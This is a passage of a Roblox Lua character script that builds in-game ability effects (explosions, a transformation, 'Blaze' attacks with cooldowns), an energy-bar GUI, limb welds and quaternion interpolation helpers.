  1345. plodez.Pitch = 0.75
  1346. plodez.Looped = false
  1347. plodez:Play()
  1348. local plodeza = Instance.new("Sound",workspace)
  1349. plodeza.SoundId = "rbxassetid://197161452"
  1350. plodeza.Volume = 0.85
  1351. plodeza.Pitch = 0.65
  1352. plodeza.Looped = false
  1353. plodeza:Play()
  1354. local plodezar = Instance.new("Sound",workspace)
  1355. plodezar.SoundId = "rbxassetid://197161452"
  1356. plodezar.Volume = 0.85
  1357. plodezar.Pitch = 0.25
  1358. plodezar.Looped = false
  1359. plodezar:Play()
  1360. expld.BlastRadius = rad
  1361. expld.Position = par.Position
  1362. partMesh.Scale = vt(rad,rad,rad)
  1363. expart.Size = vt(1,1,1)*1.5
  1364. expart.Transparency = 0
  1365. expart.Anchored = true
  1366. expart.Material = "Neon"
  1367. expart.BrickColor = bc("White")
  1368. expart.CFrame = par.CFrame
  1369. partMesh2.Scale = vt(rad,rad,rad)
  1370. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1371. expart2.Transparency = 0.5
  1372. expart2.Anchored = true
  1373. expart2.Material = "Neon"
  1374. expart2.BrickColor = tors.BrickColor
  1375. expart2.CFrame = par.CFrame
  1376. local value = 1*rad/10
  1377. par:Destroy()
  1378. for i = 0, 300 do
  1379. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1380. expart.CFrame = expart.CFrame
  1381. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1382. expart2.CFrame = expart.CFrame
  1383. value = value - 0.0175*rad/10
  1384. if value <= 0 then
  1385. expart.Transparency = expart.Transparency + 0.0125
  1386. expart2.Transparency = expart2.Transparency + 0.0125
  1387. value = 0.25
  1388. end
  1389. wait()
  1390. end
  1391. plode.Parent = nil
  1392. expart.Parent = nil
  1393. expart2.Parent = nil
  1394. expld.Parent = nil
  1395. end
  1396. local Ultramode = false
  1397.  
  1398. function Transform()
  1399. if basiccooldown >= 5 then
  1400. hum.WalkSpeed = 0
  1401. local sparta = Instance.new("Part",workspace)
  1402. local msher = Instance.new("SpecialMesh",sparta)
  1403. msher.MeshType = "Sphere"
  1404. msher.Scale = vt(1,1,1)
  1405. wit = BrickColor.new("White").Color
  1406. local glowz = Instance.new("ParticleEmitter")
  1407. glowz.LightEmission = 1
  1408. glowz.Parent = sparta
  1409. glowz.Texture = "rbxassetid://284205403"
  1410. glowz.Color = ColorSequence.new(wit)
  1411. glowz.Size = NumberSequence.new(15)
  1412. glowz.Speed = NumberRange.new(100,250)
  1413. glowz.LockedToPart = false
  1414. glowz.Transparency = NumberSequence.new(0.75)
  1415. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1416. glowz.Lifetime = NumberRange.new(1)
  1417. glowz.Rate = 50000
  1418. glowz.VelocitySpread = 9001
  1419. local sa2 = Instance.new("Sound",sparta)
  1420. sa2.SoundId = "rbxassetid://93724183"
  1421. sa2.Pitch = 0.5
  1422. sa2.Volume = 5
  1423. sa2.Looped = false
  1424. sa2:Play()
  1425. local saz2 = Instance.new("Sound",sparta)
  1426. saz2.SoundId = "rbxassetid://199145659"
  1427. saz2.Pitch = 0.45
  1428. saz2.Volume = 5*2
  1429. saz2.Looped = false
  1430. local plode = Instance.new("Sound",sparta)
  1431. plode.SoundId = "rbxassetid://153274423"
  1432. plode.Volume = 5
  1433. plode.Pitch = 1
  1434. plode.Looped = false
  1435. local ploder = Instance.new("Sound",sparta)
  1436. ploder.SoundId = "rbxassetid://130972023"
  1437. ploder.Volume = 5
  1438. ploder.Pitch = 1
  1439. ploder.Looped = false
  1440. sparta.Size = vt(1,1,1)
  1441. sparta.BrickColor = BrickColor.new("White")
  1442. sparta.Material = "Neon"
  1443. sparta.Transparency = 0
  1444. sparta.Anchored = true
  1445. sparta.CanCollide = false
  1446. sparta.CFrame = tors.CFrame
  1447. sparta.Rotation = vt(0,0,0)
  1448. local value2 = 2
  1449. for i = 0, 24 do
  1450. value2 = value2 - 0.065
  1451. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1452. wait()
  1453. end
  1454. for i = 0, 10 do
  1455. value2 = value2 + 0.06575
  1456. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1457. wait()
  1458. end
  1459. for i = 0, 10 do
  1460. value2 = value2 - 0.2
  1461. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1462. wait()
  1463. end
  1464. for i = 0, 10 do
  1465. value2 = value2 + 0.275
  1466. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1467. wait()
  1468. end
  1469. for i = 0, 10 do
  1470. value2 = value2 - 0.4
  1471. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1472. wait()
  1473. end
  1474. for i = 0, 10 do
  1475. value2 = value2 + 0.475
  1476. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1477. wait()
  1478. end
  1479. for i = 0, 10 do
  1480. value2 = value2 - 0.6
  1481. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1482. wait()
  1483. end
  1484. for i = 0, 10 do
  1485. value2 = value2 + 0.675
  1486. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1487. wait()
  1488. end
  1489. for i = 0, 10 do
  1490. value2 = value2 - 0.7
  1491. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1492. wait()
  1493. end
  1494. for i = 0, 10 do
  1495. value2 = value2 + 0.775
  1496. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1497. wait()
  1498. end
  1499. saz2:Play()
  1500. wait(2.75)
  1501. plode:Play()
  1502. ploder:Play()
  1503. Ultramode = true
  1504. for i = 0, 75 do
  1505. value2 = value2 - 0.0575
  1506. glowz.Rate = 0
  1507. sparta.Transparency = sparta.Transparency + 0.025
  1508. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1509. wait()
  1510. end
  1511. hum.WalkSpeed = 16
  1512. sparta:Destroy()
  1513. end
  1514. end
  1515.  
  1516.  
  1517. function Blaze2()
  1518. if ultcooldown >= 30 then
  1519. local sloc = Instance.new("Part",workspace)
  1520. local msh = Instance.new("SpecialMesh",sloc)
  1521. msh.MeshType = "Sphere"
  1522. sloc.Size = vt(1,1,1)
  1523. sloc.Transparency = 1
  1524. sloc.BrickColor = tors.BrickColor
  1525. sloc.Position = hed.Position + vt(0,0.1,0)
  1526. sloc.CanCollide = false
  1527. sloc.Shape = "Ball"
  1528. sloc.Anchored = true
  1529. sloc.Material = "Neon"
  1530. local s = Instance.new("Sound",char)
  1531. s.SoundId = "rbxassetid://289315275"
  1532. s.Pitch = 1
  1533. s.Volume = 2.75
  1534. s.Looped = false
  1535. s:Play()
  1536. local s2 = Instance.new("Sound",char)
  1537. s2.SoundId = "rbxassetid://671759140"
  1538. s2.Pitch = 0.425
  1539. s2.Volume = 1
  1540. s2.Looped = false
  1541. s2:Play()
  1542. local val = 0.65*5
  1543. for i = 0 , 75 do
  1544. sloc.Transparency = sloc.Transparency - 0.035
  1545. msh.Scale = msh.Scale + vt(val,val,val)
  1546. val = val - 0.0075*5
  1547. wait()
  1548. end
  1549. wait(2)
  1550. local sen = Instance.new("Sound",char)
  1551. sen.SoundId = "rbxassetid://289315275"
  1552. sen.Pitch = 1
  1553. sen.Volume = 2.75
  1554. sen.Looped = false
  1555. sen:Play()
  1556. local tick = Instance.new("Sound",char)
  1557. tick.SoundId = "rbxassetid://446876721"
  1558. tick.Volume = 2.5
  1559. tick.Pitch = 0.5
  1560. tick:Play()
  1561. msh.Scale = msh.Scale - vt(1,1,1)
  1562. sloc.Transparency = sloc.Transparency + 0.015
  1563. local spart = Instance.new("Part",workspace)
  1564. local msh2 = Instance.new("SpecialMesh",spart)
  1565. msh2.MeshType = "Sphere"
  1566. spart.Size = vt(2,2,2)
  1567. spart.Shape = "Ball"
  1568. spart.BrickColor = tors.BrickColor
  1569. spart.Material = "Neon"
  1570. spart.Transparency = 0
  1571. spart.Anchored = false
  1572. msh2.Scale = msh.Scale/2
  1573. spart.Rotation = hed.Rotation
  1574. spart.CanCollide = false
  1575. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1576. local bv = Instance.new("BodyVelocity")
  1577. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1578. bv.velocity = mouse.Hit.lookVector * 125
  1579. bv.Parent = spart
  1580. sloc:Destroy()
  1581. wait(0.00001)
  1582. pewdiepie=spart.Touched:connect(function(hit)
  1583. ExplodeMassen(100,spart)
  1584. end)
  1585. wait(5)
  1586. sloc:Destroy()
  1587. tick:Destroy()
  1588. s:Destroy()
  1589. sen:Destroy()
  1590. s2:Destroy()
  1591. end
  1592. if ultcooldown < 1 then
  1593. for i = 0, 29 do
  1594. ultcooldown = ultcooldown + 1
  1595. wait(1)
  1596. end
  1597. end
  1598. end
  1599.  
  1600. function Blaze()
  1601. if ultcooldown >= 30 then
  1602. local ff = Instance.new("ForceField",char)
  1603. local s = Instance.new("Sound",char)
  1604. s.SoundId = "rbxassetid://289315275"
  1605. s.Pitch = 1
  1606. s.Volume = 2.75
  1607. s.Looped = false
  1608. s:Play()
  1609. local s2 = Instance.new("Sound",char)
  1610. s2.SoundId = "rbxassetid://671759140"
  1611. s2.Pitch = 0.425
  1612. s2.Volume = 1
  1613. s2.Looped = false
  1614. s2:Play()
  1615. local spart = boll:Clone()
  1616. local spart2 = shur:Clone()
  1617. local msh = Instance.new("SpecialMesh",spart)
  1618. msh.MeshType = "Sphere"
  1619. spart.Parent = workspace
  1620. spart.Transparency = 1
  1621. spart.Anchored = true
  1622. spart.Position = tors.Position + vt(0,1,0)
  1623. spart.Size = spart.Size + vt(1,1,1)
  1624. for i = 0, 10 do
  1625. spart.BrickColor = tors.BrickColor
  1626. spart.Transparency = spart.Transparency + -0.05
  1627. spart.Position = tors.Position + vt(0,1,0)
  1628. spart.Size = spart.Size + vt(3,3,3)
  1629. wait(0)
  1630. end
  1631. for i = 0, 5 do
  1632. spart.BrickColor = tors.BrickColor
  1633. spart.Transparency = spart.Transparency + -0.05
  1634. spart.Position = tors.Position + vt(0,1,0)
  1635. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1636. wait(0)
  1637. end
  1638. for i = 0, 5 do
  1639. spart.BrickColor = tors.BrickColor
  1640. spart.Transparency = spart.Transparency + -0.05
  1641. spart.Position = tors.Position + vt(0,1,0)
  1642. spart.Size = spart.Size + vt(1,1,1)
  1643. wait(0)
  1644. end
  1645. for i = 0, 10 do
  1646. spart.BrickColor = tors.BrickColor
  1647. wait(0.1)
  1648. end
  1649. for i = 0, 20 do
  1650. spart.BrickColor = tors.BrickColor
  1651. spart.Transparency = spart.Transparency + 0.05
  1652. spart.Position = tors.Position + vt(0,1,0)
  1653. spart.Size = spart.Size + vt(-5,-5,-5)
  1654. wait(0)
  1655. end
  1656. local sp = spart:Clone()
  1657. sp.Parent = workspace
  1658. sp.Position = spart.Position
  1659. local sp2 = sp:Clone()
  1660. sp2.Parent = workspace
  1661. sp2.Transparency = 0.5
  1662. local msh2 = sp2.Mesh
  1663. msh2.Scale = vt(1250,1250,1250)
  1664. wit = tors.BrickColor.Color
  1665. local glowz = Instance.new("ParticleEmitter")
  1666. glowz.LightEmission = 0.75
  1667. glowz.Parent = sp2
  1668. glowz.Texture = "rbxassetid://284205403"
  1669. glowz.Color = ColorSequence.new(wit)
  1670. glowz.Size = NumberSequence.new(50)
  1671. glowz.Speed = NumberRange.new(425,450)
  1672. glowz.LockedToPart = false
  1673. glowz.Transparency = NumberSequence.new(0.75)
  1674. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1675. glowz.Lifetime = NumberRange.new(1)
  1676. glowz.Rate = 50000
  1677. glowz.VelocitySpread = 9001
  1678. spart2.Parent = workspace
  1679. spart2.Mesh.Scale = vt(25, 90000, 25)
  1680. spart2.Position = tors.Position
  1681. local seen = Instance.new("Sound",char)
  1682. seen.SoundId = "rbxassetid://445796828"
  1683. seen.Pitch = 0.75
  1684. seen.Volume = 1.75
  1685. seen.Looped = true
  1686. seen:Play()
  1687. local sen = Instance.new("Sound",char)
  1688. sen.SoundId = "rbxassetid://289315275"
  1689. sen.Pitch = 0.98
  1690. sen.Volume = 2.65
  1691. sen.Looped = false
  1692. sen:Play()
  1693. local tick = Instance.new("Sound",char)
  1694. tick.SoundId = "rbxassetid://446876721"
  1695. tick.Volume = 5
  1696. tick.Pitch = 0.5
  1697. tick:Play()
  1698. local seena = Instance.new("Sound",char)
  1699. seena.SoundId = "rbxassetid://300916057"
  1700. seena.Pitch = 0.5
  1701. seena.Volume = 2.5
  1702. seena.Looped = false
  1703. seena:Play()
  1704. spart.Transparency = 0
  1705. ExplodeMass(1000,sp)
  1706. for i = 0, 450 do
  1707. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1708. sp2.Position = spart.Position
  1709. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1710. spart2.BrickColor = tors.BrickColor
  1711. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1712. msh.Scale = msh.Scale + vt(50,50,50)
  1713. sp2.Transparency = sp2.Transparency + 0.0005
  1714. spart.Transparency = spart.Transparency + 0.0025
  1715. spart2.Transparency = spart2.Transparency + 0.0025
  1716. wait(0)
  1717. end
  1718. spart:Destroy()
  1719. seena:Destroy()
  1720. ff:Destroy()
  1721. seen:Destroy()
  1722. sen:Destroy()
  1723. tick:Destroy()
  1724. spart2:Destroy()
  1725. s:Destroy()
  1726. sp:Destroy()
  1727. sp2:Destroy()
  1728. s2:Destroy()
  1729. end
  1730. if ultcooldown < 1 then
  1731. for i = 0, 29 do
  1732. ultcooldown = ultcooldown + 1
  1733. wait(1)
  1734. end
  1735. end
  1736. end
  1737.  
  1738. -- sin
  1739. Player=game:GetService("Players").LocalPlayer
  1740. Character=Player.Character
  1741. PlayerGui=Player.PlayerGui
  1742. Backpack=Player.Backpack
  1743. Torso=Character.Torso
  1744. Head=Character.Head
  1745. Humanoid=Character.Humanoid
  1746. m=Instance.new('Model',Character)
  1747. LeftArm=Character["Left Arm"]
  1748. LeftLeg=Character["Left Leg"]
  1749. RightArm=Character["Right Arm"]
  1750. RightLeg=Character["Right Leg"]
  1751. LS=Torso["Left Shoulder"]
  1752. LH=Torso["Left Hip"]
  1753. RS=Torso["Right Shoulder"]
  1754. RH=Torso["Right Hip"]
  1755. Face = Head.face
  1756. Neck=Torso.Neck
  1757. it=Instance.new
  1758. attacktype=1
  1759. vt=Vector3.new
  1760. cf=CFrame.new
  1761. euler=CFrame.fromEulerAnglesXYZ
  1762. angles=CFrame.Angles
  1763. cloaked=false
  1764. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1765. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1766. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1767. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1768. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1769. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1770. RootPart=Character.HumanoidRootPart
  1771. RootJoint=RootPart.RootJoint
  1772. RootCF=euler(-1.57,0,3.14)
  1773. attack = false
  1774. attackdebounce = false
  1775. deb=false
  1776. equipped=true
  1777. hand=false
  1778. MMouse=nil
  1779. combo=0
  1780. mana=0
  1781. trispeed=1
  1782. pathtrans=.7
  1783. attackmode='none'
  1784. local idle=0
  1785. local Anim="Idle"
  1786. local Effects={}
  1787. local gun=false
  1788. local shoot=false
  1789. player=nil
  1790. cloak=false
  1791. lightcolor='Bright blue'
  1792.  
  1793. local Color1=BrickColor.new("White")
  1794.  
  1795. local fengui=it("GuiMain")
  1796. fengui.Parent=Player.PlayerGui
  1797. fengui.Name="WeaponGUI"
  1798. local fenframe=it("Frame")
  1799. fenframe.Parent=fengui
  1800. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1801. fenframe.BackgroundTransparency=1
  1802. fenframe.BorderColor3=Color3.new(17,17,17)
  1803. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1804. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1805. local fenbarmana1=it("TextLabel")
  1806. fenbarmana1.Parent=fenframe
  1807. fenbarmana1.Text=" "
  1808. fenbarmana1.BackgroundTransparency=0
  1809. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1810. fenbarmana1.SizeConstraint="RelativeXY"
  1811. fenbarmana1.TextXAlignment="Center"
  1812. fenbarmana1.TextYAlignment="Center"
  1813. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1814. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1815. local fenbarmana2=it("TextLabel")
  1816. fenbarmana2.Parent=fenframe
  1817. fenbarmana2.Text=" "
  1818. fenbarmana2.BackgroundTransparency=0
  1819. fenbarmana2.BackgroundColor3=Torso.Color
  1820. fenbarmana2.SizeConstraint="RelativeXY"
  1821. fenbarmana2.TextXAlignment="Center"
  1822. fenbarmana2.TextYAlignment="Center"
  1823. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1824. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1825. local fenbarmana3=it("TextLabel")
  1826. fenbarmana3.Parent=fenframe
  1827. fenbarmana3.Text=" "
  1828. fenbarmana3.BackgroundTransparency=0
  1829. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1830. fenbarmana3.SizeConstraint="RelativeXY"
  1831. fenbarmana3.TextXAlignment="Center"
  1832. fenbarmana3.TextYAlignment="Center"
  1833. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1834. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1835. local fenbarmana4=it("TextLabel")
  1836. fenbarmana4.Parent=fenframe
  1837. fenbarmana4.Text="Energy("..mana..")"
  1838. fenbarmana4.BackgroundTransparency=1
  1839. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1840. fenbarmana4.SizeConstraint="RelativeXY"
  1841. fenbarmana4.TextXAlignment="Center"
  1842. fenbarmana4.TextYAlignment="Center"
  1843. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1844. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1845. fenbarmana4.FontSize="Size9"
  1846. fenbarmana4.TextStrokeTransparency=0
  1847. fenbarmana4.TextColor=BrickColor.new("White")
  1848.  
  1849. mouse=Player:GetMouse()
  1850. --save shoulders
  1851. RSH, LSH=nil, nil
  1852. --welds
  1853. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1854. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1855. LH=Torso["Left Hip"]
  1856. RH=Torso["Right Hip"]
  1857. TorsoColor=BrickColor.new("White")
  1858. function NoOutline(Part)
  1859. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1860. end
  1861. player=Player
  1862. ch=Character
  1863. RSH=ch.Torso["Right Shoulder"]
  1864. LSH=ch.Torso["Left Shoulder"]
  1865. --
  1866. RSH.Parent=nil
  1867. LSH.Parent=nil
  1868. --
  1869. RW.Name="Right Shoulder"
  1870. RW.Part0=ch.Torso
  1871. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1872. RW.C1=cf(0, 0.5, 0)
  1873. RW.Part1=ch["Right Arm"]
  1874. RW.Parent=ch.Torso
  1875. --
  1876. LW.Name="Left Shoulder"
  1877. LW.Part0=ch.Torso
  1878. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1879. LW.C1=cf(0, 0.5, 0)
  1880. LW.Part1=ch["Left Arm"]
  1881. LW.Parent=ch.Torso
  1882.  
  1883.  
  1884. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1885. local fp=it("Part")
  1886. fp.formFactor=formfactor
  1887. fp.Parent=parent
  1888. fp.Reflectance=reflectance
  1889. fp.Transparency=transparency
  1890. fp.CanCollide=false
  1891. fp.Locked=true
  1892. fp.BrickColor=brickcolor
  1893. fp.Name=name
  1894. fp.Size=size
  1895. fp.Position=Torso.Position
  1896. NoOutline(fp)
  1897. fp.Material="Neon"
  1898. fp:BreakJoints()
  1899. return fp
  1900. end
  1901.  
  1902. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1903. local mesh=it(Mesh)
  1904. mesh.Parent=part
  1905. if Mesh=="SpecialMesh" then
  1906. mesh.MeshType=meshtype
  1907. if meshid~="nil" then
  1908. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1909. end
  1910. end
  1911. mesh.Offset=offset
  1912. mesh.Scale=scale
  1913. return mesh
  1914. end
  1915.  
  1916. function weld(parent,part0,part1,c0)
  1917. local weld=it("Weld")
  1918. weld.Parent=parent
  1919. weld.Part0=part0
  1920. weld.Part1=part1
  1921. weld.C0=c0
  1922. return weld
  1923. end
  1924.  
  1925. local Color1=BrickColor.new("White")
  1926.  
  1927. local bodvel=Instance.new("BodyVelocity")
  1928. local bg=Instance.new("BodyGyro")
  1929.  
  1930. function swait(num)
  1931. if num==0 or num==nil then
  1932. game:service'RunService'.Stepped:wait(0)
  1933. else
  1934. for i=0,num do
  1935. game:service'RunService'.Stepped:wait(0)
  1936. end
  1937. end
  1938. end
  1939.  
  1940.  
  1941. so = function(id,par,vol,pit)
  1942. coroutine.resume(coroutine.create(function()
  1943. local sou = Instance.new("Sound",par or workspace)
  1944. sou.Volume=vol
  1945. sou.Pitch=pit or 1
  1946. sou.SoundId=id
  1947. swait()
  1948. sou:play()
  1949. game:GetService("Debris"):AddItem(sou,6)
  1950. end))
  1951. end
  1952.  
  1953. function clerp(a,b,t)
  1954. local qa = {QuaternionFromCFrame(a)}
  1955. local qb = {QuaternionFromCFrame(b)}
  1956. local ax, ay, az = a.x, a.y, a.z
  1957. local bx, by, bz = b.x, b.y, b.z
  1958. local _t = 1-t
  1959. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1960. end
  1961.  
  1962. function QuaternionFromCFrame(cf)
  1963. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1964. local trace = m00 + m11 + m22
  1965. if trace > 0 then
  1966. local s = math.sqrt(1 + trace)
  1967. local recip = 0.5/s
  1968. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1969. else
  1970. local i = 0
  1971. if m11 > m00 then
  1972. i = 1
  1973. end
  1974. if m22 > (i == 0 and m00 or m11) then
  1975. i = 2
  1976. end
  1977. if i == 0 then
  1978. local s = math.sqrt(m00-m11-m22+1)
  1979. local recip = 0.5/s
  1980. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1981. elseif i == 1 then
  1982. local s = math.sqrt(m11-m22-m00+1)
  1983. local recip = 0.5/s
  1984. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1985. elseif i == 2 then
  1986. local s = math.sqrt(m22-m00-m11+1)
  1987. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1988. end
  1989. end
  1990. end
  1991.  
  1992. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1993. local xs, ys, zs = x + x, y + y, z + z
  1994. local wx, wy, wz = w*xs, w*ys, w*zs
  1995. local xx = x*xs
  1996. local xy = x*ys
  1997. local xz = x*zs
  1998. local yy = y*ys
  1999. local yz = y*zs
  2000. local zz = z*zs
  2001. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  2002. end
  2003.  
  2004. function QuaternionSlerp(a, b, t)
  2005. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  2006. local startInterp, finishInterp;
  2007. if cosTheta >= 0.0001 then
  2008. if (1 - cosTheta) > 0.0001 then
  2009. local theta = math.acos(cosTheta)
  2010. local invSinTheta = 1/math.sin(theta)
  2011. startInterp = math.sin((1-t)*theta)*invSinTheta
  2012. finishInterp = math.sin(t*theta)*invSinTheta
  2013. else
  2014. startInterp = 1-t
  2015. finishInterp = t
  2016. end
  2017. else
  2018. if (1+cosTheta) > 0.0001 then
  2019. local theta = math.acos(-cosTheta)
  2020. local invSinTheta = 1/math.sin(theta)
  2021. startInterp = math.sin((t-1)*theta)*invSinTheta
  2022. finishInterp = math.sin(t*theta)*invSinTheta
  2023. else
  2024. startInterp = t-1
  2025. finishInterp = t
  2026. end
  2027. end
  2028. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  2029. end
  2030.  
  2031. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  2032. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  2033. end
  2034.  
  2035. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  2036. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2037. prt.Anchored=true
  2038. prt.CFrame=cframe
  2039. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  2040. --http://www.roblox.com/asset/?id=4770560
  2041. game:GetService("Debris"):AddItem(prt,2)
  2042. CF=prt.CFrame
  2043. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  2044. for i=0,1,0.2 do
  2045. wait()
  2046. Part.CFrame=CF*cf(0,0,-0.4)
  2047. end
  2048. for i=0,1,delay do
  2049. wait()
  2050. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  2051. Mesh.Scale=Mesh.Scale
  2052. end
  2053. for i=0,1,0.1 do
  2054. wait()
  2055. Part.Transparency=i
  2056. end
  2057. Part.Parent=nil
  2058. end),prt,msh,CF)
  2059. end
  2060.  
  2061. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2062. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2063. prt.Anchored=true
  2064. prt.CFrame=cframe
  2065. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2066. game:GetService("Debris"):AddItem(prt,5)
  2067. coroutine.resume(coroutine.create(function(Part,Mesh)
  2068. for i=0,1,delay do
  2069. wait()
  2070. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2071. Part.Transparency=i
  2072. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2073. end
  2074. Part.Parent=nil
  2075. end),prt,msh)
  2076. end
  2077.  
  2078. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2079. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2080. prt.Anchored=false
  2081. prt.CFrame=cframe
  2082. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2083. local wld=weld(prt,prt,Parent,cframe)
  2084. game:GetService("Debris"):AddItem(prt,5)
  2085. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2086. for i=0,1,delay do
  2087. wait()
  2088. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2089. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2090. Part.Transparency=i
  2091. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2092. end
  2093. Part.Parent=nil
  2094. end),prt,msh,wld)
  2095. end
  2096.  
  2097. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2098. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2099. prt.Anchored=false
  2100. prt.CFrame=cframe
  2101. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2102. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2103. game:GetService("Debris"):AddItem(prt,5)
  2104. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2105. for i=0,1,delay do
  2106. wait()
  2107. Weld.C0=euler(i*20,0,0)
  2108. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2109. Part.Transparency=i
  2110. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2111. end
  2112. Part.Parent=nil
  2113. end),prt,msh,wld)
  2114. end
  2115.  
  2116. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2117. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2118. prt.Anchored=true
  2119. prt.CFrame=cframe
  2120. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2121. game:GetService("Debris"):AddItem(prt,2)
  2122. coroutine.resume(coroutine.create(function(Part,Mesh)
  2123. for i=0,1,delay do
  2124. wait()
  2125. Part.CFrame=Part.CFrame
  2126. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2127. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2128. prt2.Anchored=true
